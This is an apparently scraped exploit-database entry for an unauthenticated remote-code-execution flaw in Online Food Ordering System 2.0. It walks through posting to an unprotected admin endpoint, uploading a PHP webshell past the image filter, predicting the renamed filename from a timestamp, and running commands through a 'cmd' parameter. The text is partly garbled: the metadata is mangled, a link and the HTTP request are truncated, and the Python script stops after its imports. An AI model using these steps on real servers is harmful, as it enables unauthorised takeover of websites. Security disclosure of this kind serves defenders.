Code Execution (RCE) (Unauthenticated)

EDB-ID: CVE: 50305 N/A

EDB Verified: X

Author:

ABDULLAH KHAWAJA

Type:

WEBAPPS

Exploit: ★ _ / **{}**

Platform:

Date:

<u>PHP</u>

2021-09-20

Vulnerable App:

- # Exploit Title: Online Food Ordering System 2.0 Remote Code Execution (RCE) (Unauthenticated)
- # Exploit Author: Abdullah Khawaja (hax.3xploit)
- # Date: 2021-09-20
- # Vendor Homepage: https://www.sourcecodester.com/php/14951/online-food-ordering-system-php-and-sqlite-database-free-source-code.html
- # Software Link:

https://www.sourcecodester.com/sites/default/files/download/oretnom23/online_orderin

- # Version: 2.0
- # Tested On: Kali Linux, Windows 10 + XAMPP 7.4.4
- # Description: Online Food Ordering System 2.0 suffers from an Unauthenticated File Upload Vulnerability allowing Remote Attackers to gain Remote Code Execution (RCE) on the Hosting Webserver via uploading a maliciously crafted PHP file that bypasses the image upload filters.
- # Exploit Details:
- $\mbox{\tt\#}$ 1. Access the 'admin/ajax.php', as it does not check for an authenticated user

```
session.
# 2. Set the 'action' parameter of the POST request to 'save_settings'.
     - `ajax.php?action=save settings`
# 3. Capture request in burp and replace with with following request.
POST /fos/admin/ajax.php?action=save_settings HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101

1.1.1
   `Image uploader is renaming your payload using the following function.
        # strtotime(date('y-m-d H:i')).'_'.$_FILES['img']['name'];
        # you can simply go to any online php compile website like
https://www.w3schools.com/php/phptryit.asp?filename=tryphp_compiler
        # and print this function to get the value. e.g: <?php echo
strtotime(date('y-m-d H:i')); ?> Output: 1632085200
        # concate output with your playload name like this 1632085200 phpinfo.php
# 4. Communicate with the webshell at '/assets/img/1632085200_phpinfo.php?cmd=dir'
using GET Requests.
# RCE via executing exploit:
   # Step 1: run the exploit in python with this command: python3 OFOS_v2.0.py
    # Step 2: Input the URL of the vulnerable application: Example:
http://localhost/fos/
```

import requests, sys, urllib, re
